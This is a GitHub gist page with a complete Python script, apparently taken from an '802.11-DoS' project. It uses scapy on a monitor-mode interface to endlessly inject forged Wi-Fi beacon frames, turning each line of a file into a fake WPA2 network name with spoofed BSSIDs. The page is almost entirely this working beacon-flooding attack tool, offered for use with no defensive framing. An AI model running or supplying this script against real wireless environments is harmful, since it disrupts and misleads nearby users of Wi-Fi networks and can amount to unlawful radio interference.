Last active
April 30, 2018 15:53
-
-
Save k3an3/65d468dc75df91f2809f2e93d22a6c4e to your computer and use it in GitHub Desktop.
Creates a non-functional SSID for each line in the supplied file. Snippet from https://github.com/keaneokelley/802.11-DoS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# | |
# pip install pywiface scapy termcolor | |
import os | |
import sys | |
from argparse import ArgumentParser | |
from time import sleep | |
from pywiface.interface import MonitorInterface | |
from pywiface.models import AP | |
from scapy.layers.dot11 import RadioTap, Dot11, Dot11Beacon, Dot11Elt | |
from termcolor import cprint | |
def send_beacon(interface: MonitorInterface, ap: AP, essid: str, channel: int): | |
pkt = RadioTap() / Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=ap.bssid, addr3=ap.bssid) / \ | |
Dot11Beacon(cap=0x9104) / Dot11Elt(ID='SSID', info=essid, len=len(essid)) / \ | |
Dot11Elt(ID='RSNinfo', info=( | |
'\x01\x00' # RSN Version 1 | |
'\x00\x0f\xac\x04' # Group Cipher Suite : 00-0f-ac CCMP | |
'\x01\x00' # 2 Pairwise Cipher Suite (next line) | |
'\x00\x0f\xac\x04' # AES Cipher | |
'\x01\x00' # 1 Authentication Key Managment Suite (line below) | |
'\x00\x0f\xac\x02' # Pre-Shared Key | |
'\x00\x00' # No extra RSN capabilities | |
)) | |
interface.inject(pkt) | |
def main(): | |
if os.getuid() != 0: | |
print("Must be root!!! Exiting...") | |
sys.exit() | |
parser = ArgumentParser() | |
parser.add_argument('mon_interface', help='The interface to use for scanning and deauth (must ' | |
'support packet injection)') | |
parser.add_argument('-e', '--essid-file', dest='essid', help="File containing text to be used as ESSIDs") | |
args = parser.parse_args() | |
mon_interface = MonitorInterface(args.mon_interface) | |
cprint("Enabled monitor mode on interface " + mon_interface.name, 'yellow') | |
try: | |
cprint("Sending lots of beacons...", 'red') | |
with open(args.essid) as f: | |
ssids = f.read().split('\n') | |
while True: | |
for i, line in enumerate(ssids): | |
if line and len(line) <= 33 or True: | |
send_beacon(mon_interface, | |
AP("{0:02x}:{1:02x}:de:ad:be:ef".format(int(i / 255), i % 255), essid=None, | |
encrypt="WPA2", channel=1), line.encode(), 1) | |
sleep(0.102) | |
except KeyboardInterrupt: | |
print() | |
mon_interface.set_managed_mode() | |
cprint("Exiting...", 'yellow') | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment